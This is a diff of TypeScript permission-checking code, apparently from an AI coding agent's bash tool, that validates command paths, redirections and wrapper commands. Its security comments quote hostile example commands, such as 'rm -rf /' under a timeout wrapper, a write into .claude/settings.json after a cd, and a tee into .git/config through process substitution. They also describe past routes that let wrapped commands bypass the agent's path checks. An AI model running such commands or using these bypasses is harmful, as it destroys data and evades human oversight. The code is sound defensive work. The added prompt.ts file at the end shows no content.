|
| 719 |
+
compoundCommandHasCd,
|
| 720 |
+
operationTypeOverride,
|
| 721 |
+
)
|
| 722 |
+
|
| 723 |
+
// If explicitly denied, respect that (don't override with dangerous path message)
|
| 724 |
+
if (result.behavior === 'deny') {
|
| 725 |
+
return result
|
| 726 |
+
}
|
| 727 |
+
|
| 728 |
+
// Check for dangerous removal paths AFTER explicit deny rules but BEFORE other results
|
| 729 |
+
// This ensures the check runs even if the user has allowlist rules or if glob patterns
|
| 730 |
+
// were rejected, but respects explicit deny rules. Dangerous patterns get a specific
|
| 731 |
+
// error message that overrides generic glob pattern rejection messages.
|
| 732 |
+
if (command === 'rm' || command === 'rmdir') {
|
| 733 |
+
const dangerousPathResult = checkDangerousRemovalPaths(command, args, cwd)
|
| 734 |
+
if (dangerousPathResult.behavior !== 'passthrough') {
|
| 735 |
+
return dangerousPathResult
|
| 736 |
+
}
|
| 737 |
+
}
|
| 738 |
+
|
| 739 |
+
// If it's a passthrough, return it directly
|
| 740 |
+
if (result.behavior === 'passthrough') {
|
| 741 |
+
return result
|
| 742 |
+
}
|
| 743 |
+
|
| 744 |
+
// If it's an ask decision, add suggestions based on the operation type
|
| 745 |
+
if (result.behavior === 'ask') {
|
| 746 |
+
const operationType =
|
| 747 |
+
operationTypeOverride ?? COMMAND_OPERATION_TYPE[command]
|
| 748 |
+
const suggestions: PermissionUpdate[] = []
|
| 749 |
+
|
| 750 |
+
// Only suggest adding directory/rules if we have a blocked path
|
| 751 |
+
if (result.blockedPath) {
|
| 752 |
+
if (operationType === 'read') {
|
| 753 |
+
// For read operations, suggest a Read rule for the directory (only if it exists)
|
| 754 |
+
const dirPath = getDirectoryForPath(result.blockedPath)
|
| 755 |
+
const suggestion = createReadRuleSuggestion(dirPath, 'session')
|
| 756 |
+
if (suggestion) {
|
| 757 |
+
suggestions.push(suggestion)
|
| 758 |
+
}
|
| 759 |
+
} else {
|
| 760 |
+
// For write/create operations, suggest adding the directory
|
| 761 |
+
suggestions.push({
|
| 762 |
+
type: 'addDirectories',
|
| 763 |
+
directories: [getDirectoryForPath(result.blockedPath)],
|
| 764 |
+
destination: 'session',
|
| 765 |
+
})
|
| 766 |
+
}
|
| 767 |
+
}
|
| 768 |
+
|
| 769 |
+
// For write operations, also suggest enabling accept-edits mode
|
| 770 |
+
if (operationType === 'write' || operationType === 'create') {
|
| 771 |
+
suggestions.push({
|
| 772 |
+
type: 'setMode',
|
| 773 |
+
mode: 'acceptEdits',
|
| 774 |
+
destination: 'session',
|
| 775 |
+
})
|
| 776 |
+
}
|
| 777 |
+
|
| 778 |
+
result.suggestions = suggestions
|
| 779 |
+
}
|
| 780 |
+
|
| 781 |
+
// Return the decision directly
|
| 782 |
+
return result
|
| 783 |
+
}
|
| 784 |
+
}
|
| 785 |
+
|
| 786 |
+
/**
|
| 787 |
+
* Parses command arguments using shell-quote, converting glob objects to strings.
|
| 788 |
+
* This is necessary because shell-quote parses patterns like *.txt as glob objects,
|
| 789 |
+
* but we need them as strings for path validation.
|
| 790 |
+
*/
|
| 791 |
+
function parseCommandArguments(cmd: string): string[] {
|
| 792 |
+
const parseResult = tryParseShellCommand(cmd, env => `$${env}`)
|
| 793 |
+
if (!parseResult.success) {
|
| 794 |
+
// Malformed shell syntax, return empty array
|
| 795 |
+
return []
|
| 796 |
+
}
|
| 797 |
+
const parsed = parseResult.tokens
|
| 798 |
+
const extractedArgs: string[] = []
|
| 799 |
+
|
| 800 |
+
for (const arg of parsed) {
|
| 801 |
+
if (typeof arg === 'string') {
|
| 802 |
+
// Include empty strings - they're valid arguments (e.g., grep "" /tmp/t)
|
| 803 |
+
extractedArgs.push(arg)
|
| 804 |
+
} else if (
|
| 805 |
+
typeof arg === 'object' &&
|
| 806 |
+
arg !== null &&
|
| 807 |
+
'op' in arg &&
|
| 808 |
+
arg.op === 'glob' &&
|
| 809 |
+
'pattern' in arg
|
| 810 |
+
) {
|
| 811 |
+
// shell-quote parses glob patterns as objects, but we need them as strings for validation
|
| 812 |
+
extractedArgs.push(String(arg.pattern))
|
| 813 |
+
}
|
| 814 |
+
}
|
| 815 |
+
|
| 816 |
+
return extractedArgs
|
| 817 |
+
}
|
| 818 |
+
|
| 819 |
+
/**
|
| 820 |
+
* Validates a single command for path constraints and shell safety.
|
| 821 |
+
*
|
| 822 |
+
* This function:
|
| 823 |
+
* 1. Parses the command arguments
|
| 824 |
+
* 2. Checks if it's a path command (cd, ls, find)
|
| 825 |
+
* 3. Validates for shell injection patterns
|
| 826 |
+
* 4. Validates all paths are within allowed directories
|
| 827 |
+
*
|
| 828 |
+
* @param cmd - The command string to validate
|
| 829 |
+
* @param cwd - Current working directory
|
| 830 |
+
* @param toolPermissionContext - Context containing allowed directories
|
| 831 |
+
* @param compoundCommandHasCd - Whether the full compound command contains a cd
|
| 832 |
+
* @returns PermissionResult - 'passthrough' if not a path command, otherwise validation result
|
| 833 |
+
*/
|
| 834 |
+
function validateSinglePathCommand(
|
| 835 |
+
cmd: string,
|
| 836 |
+
cwd: string,
|
| 837 |
+
toolPermissionContext: ToolPermissionContext,
|
| 838 |
+
compoundCommandHasCd?: boolean,
|
| 839 |
+
): PermissionResult {
|
| 840 |
+
// SECURITY: Strip wrapper commands (timeout, nice, nohup, time) before extracting
|
| 841 |
+
// the base command. Without this, dangerous commands wrapped with these utilities
|
| 842 |
+
// would bypass path validation since the wrapper command (e.g., 'timeout') would
|
| 843 |
+
// be checked instead of the actual command (e.g., 'rm').
|
| 844 |
+
// Example: 'timeout 10 rm -rf /' would otherwise see 'timeout' as the base command.
|
| 845 |
+
const strippedCmd = stripSafeWrappers(cmd)
|
| 846 |
+
|
| 847 |
+
// Parse command into arguments, handling quotes and globs
|
| 848 |
+
const extractedArgs = parseCommandArguments(strippedCmd)
|
| 849 |
+
if (extractedArgs.length === 0) {
|
| 850 |
+
return {
|
| 851 |
+
behavior: 'passthrough',
|
| 852 |
+
message: 'Empty command - no paths to validate',
|
| 853 |
+
}
|
| 854 |
+
}
|
| 855 |
+
|
| 856 |
+
// Check if this is a path command we need to validate
|
| 857 |
+
const [baseCmd, ...args] = extractedArgs
|
| 858 |
+
if (!baseCmd || !SUPPORTED_PATH_COMMANDS.includes(baseCmd as PathCommand)) {
|
| 859 |
+
return {
|
| 860 |
+
behavior: 'passthrough',
|
| 861 |
+
message: `Command '${baseCmd}' is not a path-restricted command`,
|
| 862 |
+
}
|
| 863 |
+
}
|
| 864 |
+
|
| 865 |
+
// For read-only sed commands (e.g., sed -n '1,10p' file.txt),
|
| 866 |
+
// validate file paths as read operations instead of write operations.
|
| 867 |
+
// sed is normally classified as 'write' for path validation, but when the
|
| 868 |
+
// command is purely reading (line printing with -n), file args are read-only.
|
| 869 |
+
const operationTypeOverride =
|
| 870 |
+
baseCmd === 'sed' && sedCommandIsAllowedByAllowlist(strippedCmd)
|
| 871 |
+
? ('read' as FileOperationType)
|
| 872 |
+
: undefined
|
| 873 |
+
|
| 874 |
+
// Validate all paths are within allowed directories
|
| 875 |
+
const pathChecker = createPathChecker(
|
| 876 |
+
baseCmd as PathCommand,
|
| 877 |
+
operationTypeOverride,
|
| 878 |
+
)
|
| 879 |
+
return pathChecker(args, cwd, toolPermissionContext, compoundCommandHasCd)
|
| 880 |
+
}
|
| 881 |
+
|
| 882 |
+
/**
|
| 883 |
+
* Like validateSinglePathCommand but operates on AST-derived argv directly
|
| 884 |
+
* instead of re-parsing the command string with shell-quote. Avoids the
|
| 885 |
+
* shell-quote single-quote backslash bug that causes parseCommandArguments
|
| 886 |
+
* to silently return [] and skip path validation.
|
| 887 |
+
*/
|
| 888 |
+
function validateSinglePathCommandArgv(
|
| 889 |
+
cmd: SimpleCommand,
|
| 890 |
+
cwd: string,
|
| 891 |
+
toolPermissionContext: ToolPermissionContext,
|
| 892 |
+
compoundCommandHasCd?: boolean,
|
| 893 |
+
): PermissionResult {
|
| 894 |
+
const argv = stripWrappersFromArgv(cmd.argv)
|
| 895 |
+
if (argv.length === 0) {
|
| 896 |
+
return {
|
| 897 |
+
behavior: 'passthrough',
|
| 898 |
+
message: 'Empty command - no paths to validate',
|
| 899 |
+
}
|
| 900 |
+
}
|
| 901 |
+
const [baseCmd, ...args] = argv
|
| 902 |
+
if (!baseCmd || !SUPPORTED_PATH_COMMANDS.includes(baseCmd as PathCommand)) {
|
| 903 |
+
return {
|
| 904 |
+
behavior: 'passthrough',
|
| 905 |
+
message: `Command '${baseCmd}' is not a path-restricted command`,
|
| 906 |
+
}
|
| 907 |
+
}
|
| 908 |
+
// sed read-only override: use .text for the allowlist check since
|
| 909 |
+
// sedCommandIsAllowedByAllowlist takes a string. argv is already
|
| 910 |
+
// wrapper-stripped but .text is raw tree-sitter span (includes
|
| 911 |
+
// `timeout 5 ` prefix), so strip here too.
|
| 912 |
+
const operationTypeOverride =
|
| 913 |
+
baseCmd === 'sed' &&
|
| 914 |
+
sedCommandIsAllowedByAllowlist(stripSafeWrappers(cmd.text))
|
| 915 |
+
? ('read' as FileOperationType)
|
| 916 |
+
: undefined
|
| 917 |
+
const pathChecker = createPathChecker(
|
| 918 |
+
baseCmd as PathCommand,
|
| 919 |
+
operationTypeOverride,
|
| 920 |
+
)
|
| 921 |
+
return pathChecker(args, cwd, toolPermissionContext, compoundCommandHasCd)
|
| 922 |
+
}
|
| 923 |
+
|
| 924 |
+
function validateOutputRedirections(
|
| 925 |
+
redirections: Array<{ target: string; operator: '>' | '>>' }>,
|
| 926 |
+
cwd: string,
|
| 927 |
+
toolPermissionContext: ToolPermissionContext,
|
| 928 |
+
compoundCommandHasCd?: boolean,
|
| 929 |
+
): PermissionResult {
|
| 930 |
+
// SECURITY: Block output redirections in compound commands containing 'cd'
|
| 931 |
+
// This prevents bypassing path safety checks via directory changes before redirections.
|
| 932 |
+
// Example attack: cd .claude/ && echo "malicious" > settings.json
|
| 933 |
+
// The redirection target would be validated relative to the original CWD, but the
|
| 934 |
+
// actual write happens in the changed directory after 'cd' executes.
|
| 935 |
+
if (compoundCommandHasCd && redirections.length > 0) {
|
| 936 |
+
return {
|
| 937 |
+
behavior: 'ask',
|
| 938 |
+
message: `Commands that change directories and write via output redirection require explicit approval to ensure paths are evaluated correctly. For security, Claude Code cannot automatically determine the final working directory when 'cd' is used in compound commands.`,
|
| 939 |
+
decisionReason: {
|
| 940 |
+
type: 'other',
|
| 941 |
+
reason:
|
| 942 |
+
'Compound command contains cd with output redirection - manual approval required to prevent path resolution bypass',
|
| 943 |
+
},
|
| 944 |
+
}
|
| 945 |
+
}
|
| 946 |
+
for (const { target } of redirections) {
|
| 947 |
+
// /dev/null is always safe - it discards output
|
| 948 |
+
if (target === '/dev/null') {
|
| 949 |
+
continue
|
| 950 |
+
}
|
| 951 |
+
const { allowed, resolvedPath, decisionReason } = validatePath(
|
| 952 |
+
target,
|
| 953 |
+
cwd,
|
| 954 |
+
toolPermissionContext,
|
| 955 |
+
'create', // Treat > and >> as create operations
|
| 956 |
+
)
|
| 957 |
+
|
| 958 |
+
if (!allowed) {
|
| 959 |
+
const workingDirs = Array.from(
|
| 960 |
+
allWorkingDirectories(toolPermissionContext),
|
| 961 |
+
)
|
| 962 |
+
const dirListStr = formatDirectoryList(workingDirs)
|
| 963 |
+
|
| 964 |
+
// Use security check's custom reason if available (type: 'other' or 'safetyCheck')
|
| 965 |
+
// Otherwise use the standard message for deny rules or working directory restrictions
|
| 966 |
+
const message =
|
| 967 |
+
decisionReason?.type === 'other' ||
|
| 968 |
+
decisionReason?.type === 'safetyCheck'
|
| 969 |
+
? decisionReason.reason
|
| 970 |
+
: decisionReason?.type === 'rule'
|
| 971 |
+
? `Output redirection to '${resolvedPath}' was blocked by a deny rule.`
|
| 972 |
+
: `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`
|
| 973 |
+
|
| 974 |
+
// If denied by a deny rule, return 'deny' behavior
|
| 975 |
+
if (decisionReason?.type === 'rule') {
|
| 976 |
+
return {
|
| 977 |
+
behavior: 'deny',
|
| 978 |
+
message,
|
| 979 |
+
decisionReason,
|
| 980 |
+
}
|
| 981 |
+
}
|
| 982 |
+
|
| 983 |
+
return {
|
| 984 |
+
behavior: 'ask',
|
| 985 |
+
message,
|
| 986 |
+
blockedPath: resolvedPath,
|
| 987 |
+
decisionReason,
|
| 988 |
+
suggestions: [
|
| 989 |
+
{
|
| 990 |
+
type: 'addDirectories',
|
| 991 |
+
directories: [getDirectoryForPath(resolvedPath)],
|
| 992 |
+
destination: 'session',
|
| 993 |
+
},
|
| 994 |
+
],
|
| 995 |
+
}
|
| 996 |
+
}
|
| 997 |
+
}
|
| 998 |
+
|
| 999 |
+
return {
|
| 1000 |
+
behavior: 'passthrough',
|
| 1001 |
+
message: 'No unsafe redirections found',
|
| 1002 |
+
}
|
| 1003 |
+
}
|
| 1004 |
+
|
| 1005 |
+
/**
|
| 1006 |
+
* Checks path constraints for commands that access the filesystem (cd, ls, find).
|
| 1007 |
+
* Also validates output redirections to ensure they're within allowed directories.
|
| 1008 |
+
*
|
| 1009 |
+
* @returns
|
| 1010 |
+
* - 'ask' if any path command or redirection tries to access outside allowed directories
|
| 1011 |
+
* - 'passthrough' if no path commands were found or if all are within allowed directories
|
| 1012 |
+
*/
|
| 1013 |
+
export function checkPathConstraints(
|
| 1014 |
+
input: z.infer<typeof BashTool.inputSchema>,
|
| 1015 |
+
cwd: string,
|
| 1016 |
+
toolPermissionContext: ToolPermissionContext,
|
| 1017 |
+
compoundCommandHasCd?: boolean,
|
| 1018 |
+
astRedirects?: Redirect[],
|
| 1019 |
+
astCommands?: SimpleCommand[],
|
| 1020 |
+
): PermissionResult {
|
| 1021 |
+
// SECURITY: Process substitution >(cmd) can execute commands that write to files
|
| 1022 |
+
// without those files appearing as redirect targets. For example:
|
| 1023 |
+
// echo secret > >(tee .git/config)
|
| 1024 |
+
// The tee command writes to .git/config but it's not detected as a redirect.
|
| 1025 |
+
// Require explicit approval for any command containing process substitution.
|
| 1026 |
+
// Skip on AST path — process_substitution is in DANGEROUS_TYPES and
|
| 1027 |
+
// already returned too-complex before reaching here.
|
| 1028 |
+
if (!astCommands && />>\s*>\s*\(|>\s*>\s*\(|<\s*\(/.test(input.command)) {
|
| 1029 |
+
return {
|
| 1030 |
+
behavior: 'ask',
|
| 1031 |
+
message:
|
| 1032 |
+
'Process substitution (>(...) or <(...)) can execute arbitrary commands and requires manual approval',
|
| 1033 |
+
decisionReason: {
|
| 1034 |
+
type: 'other',
|
| 1035 |
+
reason: 'Process substitution requires manual approval',
|
| 1036 |
+
},
|
| 1037 |
+
}
|
| 1038 |
+
}
|
| 1039 |
+
|
| 1040 |
+
// SECURITY: When AST-derived redirects are available, use them directly
|
| 1041 |
+
// instead of re-parsing with shell-quote. shell-quote has a known
|
| 1042 |
+
// single-quote backslash bug that silently merges redirect operators into
|
| 1043 |
+
// garbled tokens on a successful parse (not a parse failure, so the
|
| 1044 |
+
// fail-closed guard doesn't help). The AST already resolved targets
|
| 1045 |
+
// correctly and checkSemantics validated them.
|
| 1046 |
+
const { redirections, hasDangerousRedirection } = astRedirects
|
| 1047 |
+
? astRedirectsToOutputRedirections(astRedirects)
|
| 1048 |
+
: extractOutputRedirections(input.command)
|
| 1049 |
+
|
| 1050 |
+
// SECURITY: If we found a redirection operator with a target containing shell expansion
|
| 1051 |
+
// syntax ($VAR or %VAR%), require manual approval since the target can't be safely validated.
|
| 1052 |
+
if (hasDangerousRedirection) {
|
| 1053 |
+
return {
|
| 1054 |
+
behavior: 'ask',
|
| 1055 |
+
message: 'Shell expansion syntax in paths requires manual approval',
|
| 1056 |
+
decisionReason: {
|
| 1057 |
+
type: 'other',
|
| 1058 |
+
reason: 'Shell expansion syntax in paths requires manual approval',
|
| 1059 |
+
},
|
| 1060 |
+
}
|
| 1061 |
+
}
|
| 1062 |
+
const redirectionResult = validateOutputRedirections(
|
| 1063 |
+
redirections,
|
| 1064 |
+
cwd,
|
| 1065 |
+
toolPermissionContext,
|
| 1066 |
+
compoundCommandHasCd,
|
| 1067 |
+
)
|
| 1068 |
+
if (redirectionResult.behavior !== 'passthrough') {
|
| 1069 |
+
return redirectionResult
|
| 1070 |
+
}
|
| 1071 |
+
|
| 1072 |
+
// SECURITY: When AST-derived commands are available, iterate them with
|
| 1073 |
+
// pre-parsed argv instead of re-parsing via splitCommand_DEPRECATED + shell-quote.
|
| 1074 |
+
// shell-quote has a single-quote backslash bug that causes
|
| 1075 |
+
// parseCommandArguments to silently return [] and skip path validation
|
| 1076 |
+
// (isDangerousRemovalPath etc). The AST already resolved argv correctly.
|
| 1077 |
+
if (astCommands) {
|
| 1078 |
+
for (const cmd of astCommands) {
|
| 1079 |
+
const result = validateSinglePathCommandArgv(
|
| 1080 |
+
cmd,
|
| 1081 |
+
cwd,
|
| 1082 |
+
toolPermissionContext,
|
| 1083 |
+
compoundCommandHasCd,
|
| 1084 |
+
)
|
| 1085 |
+
if (result.behavior === 'ask' || result.behavior === 'deny') {
|
| 1086 |
+
return result
|
| 1087 |
+
}
|
| 1088 |
+
}
|
| 1089 |
+
} else {
|
| 1090 |
+
const commands = splitCommand_DEPRECATED(input.command)
|
| 1091 |
+
for (const cmd of commands) {
|
| 1092 |
+
const result = validateSinglePathCommand(
|
| 1093 |
+
cmd,
|
| 1094 |
+
cwd,
|
| 1095 |
+
toolPermissionContext,
|
| 1096 |
+
compoundCommandHasCd,
|
| 1097 |
+
)
|
| 1098 |
+
if (result.behavior === 'ask' || result.behavior === 'deny') {
|
| 1099 |
+
return result
|
| 1100 |
+
}
|
| 1101 |
+
}
|
| 1102 |
+
}
|
| 1103 |
+
|
| 1104 |
+
// Always return passthrough to let other permission checks handle the command
|
| 1105 |
+
return {
|
| 1106 |
+
behavior: 'passthrough',
|
| 1107 |
+
message: 'All path commands validated successfully',
|
| 1108 |
+
}
|
| 1109 |
+
}
|
| 1110 |
+
|
| 1111 |
+
/**
|
| 1112 |
+
* Convert AST-derived Redirect[] to the format expected by
|
| 1113 |
+
* validateOutputRedirections. Filters to output-only redirects (excluding
|
| 1114 |
+
* fd duplications like 2>&1) and maps operators to '>' | '>>'.
|
| 1115 |
+
*/
|
| 1116 |
+
function astRedirectsToOutputRedirections(redirects: Redirect[]): {
|
| 1117 |
+
redirections: Array<{ target: string; operator: '>' | '>>' }>
|
| 1118 |
+
hasDangerousRedirection: boolean
|
| 1119 |
+
} {
|
| 1120 |
+
const redirections: Array<{ target: string; operator: '>' | '>>' }> = []
|
| 1121 |
+
for (const r of redirects) {
|
| 1122 |
+
switch (r.op) {
|
| 1123 |
+
case '>':
|
| 1124 |
+
case '>|':
|
| 1125 |
+
case '&>':
|
| 1126 |
+
redirections.push({ target: r.target, operator: '>' })
|
| 1127 |
+
break
|
| 1128 |
+
case '>>':
|
| 1129 |
+
case '&>>':
|
| 1130 |
+
redirections.push({ target: r.target, operator: '>>' })
|
| 1131 |
+
break
|
| 1132 |
+
case '>&':
|
| 1133 |
+
// >&N (digits only) is fd duplication (e.g. 2>&1, >&10), not a file
|
| 1134 |
+
// write. >&file is the deprecated form of &>file (redirect to file).
|
| 1135 |
+
if (!/^\d+$/.test(r.target)) {
|
| 1136 |
+
redirections.push({ target: r.target, operator: '>' })
|
| 1137 |
+
}
|
| 1138 |
+
break
|
| 1139 |
+
case '<':
|
| 1140 |
+
case '<<':
|
| 1141 |
+
case '<&':
|
| 1142 |
+
case '<<<':
|
| 1143 |
+
// input redirects — skip
|
| 1144 |
+
break
|
| 1145 |
+
}
|
| 1146 |
+
}
|
| 1147 |
+
// AST targets are fully resolved (no shell expansion) — checkSemantics
|
| 1148 |
+
// already validated them. No dangerous redirections are possible.
|
| 1149 |
+
return { redirections, hasDangerousRedirection: false }
|
| 1150 |
+
}
|
| 1151 |
+
|
| 1152 |
+
// ───────────────────────────────────────────────────────────────────────────
|
| 1153 |
+
// Argv-level safe-wrapper stripping (timeout, nice, stdbuf, env, time, nohup)
|
| 1154 |
+
//
|
| 1155 |
+
// This is the CANONICAL stripWrappersFromArgv. bashPermissions.ts still
|
| 1156 |
+
// exports an older narrower copy (timeout/nice-n-N only) that is DEAD CODE
|
| 1157 |
+
// — no prod consumer — but CANNOT be removed: bashPermissions.ts is right
|
| 1158 |
+
// at Bun's feature() DCE complexity threshold, and deleting ~80 lines from
|
| 1159 |
+
// that module silently breaks feature('BASH_CLASSIFIER') evaluation (drops
|
| 1160 |
+
// every pendingClassifierCheck spread). Verified in PR #21503 round 3:
|
| 1161 |
+
// baseline classifier tests 30/30 pass, after deletion 22/30 fail. See
|
| 1162 |
+
// team memory: bun-feature-dce-cliff.md. Hit 3× in PR #21075 + twice in
|
| 1163 |
+
// #21503. The expanded version lives here (the only prod consumer) instead.
|
| 1164 |
+
//
|
| 1165 |
+
// KEEP IN SYNC with:
|
| 1166 |
+
// - SAFE_WRAPPER_PATTERNS in bashPermissions.ts (text-based stripSafeWrappers)
|
| 1167 |
+
// - the wrapper-stripping loop in checkSemantics (src/utils/bash/ast.ts ~1860)
|
| 1168 |
+
// If you add a wrapper in either, add it here too. Asymmetry means
|
| 1169 |
+
// checkSemantics exposes the wrapped command to semantic checks but path
|
| 1170 |
+
// validation sees the wrapper name → passthrough → wrapped paths never
|
| 1171 |
+
// validated (PR #21503 review comment 2907319120).
|
| 1172 |
+
// ───────────────────────────────────────────────────────────────────────────
|
| 1173 |
+
|
| 1174 |
+
// SECURITY: allowlist for timeout flag VALUES (signals are TERM/KILL/9,
|
| 1175 |
+
// durations are 5/5s/10.5). Rejects $ ( ) ` | ; & and newlines that
|
| 1176 |
+
// previously matched via [^ \t]+ — `timeout -k$(id) 10 ls` must NOT strip.
|
| 1177 |
+
const TIMEOUT_FLAG_VALUE_RE = /^[A-Za-z0-9_.+-]+$/
|
| 1178 |
+
|
| 1179 |
+
/**
|
| 1180 |
+
* Parse timeout's GNU flags (long + short, fused + space-separated) and
|
| 1181 |
+
* return the argv index of the DURATION token, or -1 if flags are unparseable.
|
| 1182 |
+
*/
|
| 1183 |
+
function skipTimeoutFlags(a: readonly string[]): number {
|
| 1184 |
+
let i = 1
|
| 1185 |
+
while (i < a.length) {
|
| 1186 |
+
const arg = a[i]!
|
| 1187 |
+
const next = a[i + 1]
|
| 1188 |
+
if (
|
| 1189 |
+
arg === '--foreground' ||
|
| 1190 |
+
arg === '--preserve-status' ||
|
| 1191 |
+
arg === '--verbose'
|
| 1192 |
+
)
|
| 1193 |
+
i++
|
| 1194 |
+
else if (/^--(?:kill-after|signal)=[A-Za-z0-9_.+-]+$/.test(arg)) i++
|
| 1195 |
+
else if (
|
| 1196 |
+
(arg === '--kill-after' || arg === '--signal') &&
|
| 1197 |
+
next &&
|
| 1198 |
+
TIMEOUT_FLAG_VALUE_RE.test(next)
|
| 1199 |
+
)
|
| 1200 |
+
i += 2
|
| 1201 |
+
else if (arg === '--') {
|
| 1202 |
+
i++
|
| 1203 |
+
break
|
| 1204 |
+
} // end-of-options marker
|
| 1205 |
+
else if (arg.startsWith('--')) return -1
|
| 1206 |
+
else if (arg === '-v') i++
|
| 1207 |
+
else if (
|
| 1208 |
+
(arg === '-k' || arg === '-s') &&
|
| 1209 |
+
next &&
|
| 1210 |
+
TIMEOUT_FLAG_VALUE_RE.test(next)
|
| 1211 |
+
)
|
| 1212 |
+
i += 2
|
| 1213 |
+
else if (/^-[ks][A-Za-z0-9_.+-]+$/.test(arg)) i++
|
| 1214 |
+
else if (arg.startsWith('-')) return -1
|
| 1215 |
+
else break
|
| 1216 |
+
}
|
| 1217 |
+
return i
|
| 1218 |
+
}
|
| 1219 |
+
|
| 1220 |
+
/**
|
| 1221 |
+
* Parse stdbuf's flags (-i/-o/-e in fused/space-separated/long-= forms).
|
| 1222 |
+
* Returns argv index of wrapped COMMAND, or -1 if unparseable or no flags
|
| 1223 |
+
* consumed (stdbuf without flags is inert). Mirrors checkSemantics (ast.ts).
|
| 1224 |
+
*/
|
| 1225 |
+
function skipStdbufFlags(a: readonly string[]): number {
|
| 1226 |
+
let i = 1
|
| 1227 |
+
while (i < a.length) {
|
| 1228 |
+
const arg = a[i]!
|
| 1229 |
+
if (/^-[ioe]$/.test(arg) && a[i + 1]) i += 2
|
| 1230 |
+
else if (/^-[ioe]./.test(arg)) i++
|
| 1231 |
+
else if (/^--(input|output|error)=/.test(arg)) i++
|
| 1232 |
+
else if (arg.startsWith('-'))
|
| 1233 |
+
return -1 // unknown flag: fail closed
|
| 1234 |
+
else break
|
| 1235 |
+
}
|
| 1236 |
+
return i > 1 && i < a.length ? i : -1
|
| 1237 |
+
}
|
| 1238 |
+
|
| 1239 |
+
/**
|
| 1240 |
+
* Parse env's VAR=val and safe flags (-i/-0/-v/-u NAME). Returns argv index
|
| 1241 |
+
* of wrapped COMMAND, or -1 if unparseable/no wrapped cmd. Rejects -S (argv
|
| 1242 |
+
* splitter), -C/-P (altwd/altpath). Mirrors checkSemantics (ast.ts).
|
| 1243 |
+
*/
|
| 1244 |
+
function skipEnvFlags(a: readonly string[]): number {
|
| 1245 |
+
let i = 1
|
| 1246 |
+
while (i < a.length) {
|
| 1247 |
+
const arg = a[i]!
|
| 1248 |
+
if (arg.includes('=') && !arg.startsWith('-')) i++
|
| 1249 |
+
else if (arg === '-i' || arg === '-0' || arg === '-v') i++
|
| 1250 |
+
else if (arg === '-u' && a[i + 1]) i += 2
|
| 1251 |
+
else if (arg.startsWith('-'))
|
| 1252 |
+
return -1 // -S/-C/-P/unknown: fail closed
|
| 1253 |
+
else break
|
| 1254 |
+
}
|
| 1255 |
+
return i < a.length ? i : -1
|
| 1256 |
+
}
|
| 1257 |
+
|
| 1258 |
+
/**
|
| 1259 |
+
* Argv-level counterpart to stripSafeWrappers (bashPermissions.ts). Strips
|
| 1260 |
+
* wrapper commands from AST-derived argv. Env vars are already separated
|
| 1261 |
+
* into SimpleCommand.envVars so no env-var stripping here.
|
| 1262 |
+
*/
|
| 1263 |
+
export function stripWrappersFromArgv(argv: string[]): string[] {
|
| 1264 |
+
let a = argv
|
| 1265 |
+
for (;;) {
|
| 1266 |
+
if (a[0] === 'time' || a[0] === 'nohup') {
|
| 1267 |
+
a = a.slice(a[1] === '--' ? 2 : 1)
|
| 1268 |
+
} else if (a[0] === 'timeout') {
|
| 1269 |
+
const i = skipTimeoutFlags(a)
|
| 1270 |
+
// SECURITY (PR #21503 round 3): unrecognized duration (`.5`, `+5`,
|
| 1271 |
+
// `inf` — strtod formats GNU timeout accepts) → return a unchanged.
|
| 1272 |
+
// Safe because checkSemantics (ast.ts) fails CLOSED on the same input
|
| 1273 |
+
// and runs first in bashToolHasPermission, so we never reach here.
|
| 1274 |
+
if (i < 0 || !a[i] || !/^\d+(?:\.\d+)?[smhd]?$/.test(a[i]!)) return a
|
| 1275 |
+
a = a.slice(i + 1)
|
| 1276 |
+
} else if (a[0] === 'nice') {
|
| 1277 |
+
// SECURITY (PR #21503 round 3): mirror checkSemantics — handle bare
|
| 1278 |
+
// `nice cmd` and legacy `nice -N cmd`, not just `nice -n N cmd`.
|
| 1279 |
+
// Previously only `-n N` was stripped: `nice rm /outside` →
|
| 1280 |
+
// baseCmd='nice' → passthrough → /outside never path-validated.
|
| 1281 |
+
if (a[1] === '-n' && a[2] && /^-?\d+$/.test(a[2]))
|
| 1282 |
+
a = a.slice(a[3] === '--' ? 4 : 3)
|
| 1283 |
+
else if (a[1] && /^-\d+$/.test(a[1])) a = a.slice(a[2] === '--' ? 3 : 2)
|
| 1284 |
+
else a = a.slice(a[1] === '--' ? 2 : 1)
|
| 1285 |
+
} else if (a[0] === 'stdbuf') {
|
| 1286 |
+
// SECURITY (PR #21503 round 3): PR-WIDENED. Pre-PR, `stdbuf -o0 -eL rm`
|
| 1287 |
+
// was rejected by fragment check (old checkSemantics slice(2) left
|
| 1288 |
+
// name='-eL'). Post-PR, checkSemantics strips both flags → name='rm'
|
| 1289 |
+
// → passes. But stripWrappersFromArgv returned unchanged →
|
| 1290 |
+
// baseCmd='stdbuf' → not in SUPPORTED_PATH_COMMANDS → passthrough.
|
| 1291 |
+
const i = skipStdbufFlags(a)
|
| 1292 |
+
if (i < 0) return a
|
| 1293 |
+
a = a.slice(i)
|
| 1294 |
+
} else if (a[0] === 'env') {
|
| 1295 |
+
// Same asymmetry: checkSemantics strips env, we didn't.
|
| 1296 |
+
const i = skipEnvFlags(a)
|
| 1297 |
+
if (i < 0) return a
|
| 1298 |
+
a = a.slice(i)
|
| 1299 |
+
} else {
|
| 1300 |
+
return a
|
| 1301 |
+
}
|
| 1302 |
+
}
|
| 1303 |
+
}
|
src/tools/BashTool/prompt.ts
ADDED
|
@@ -0,0 +1,369 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
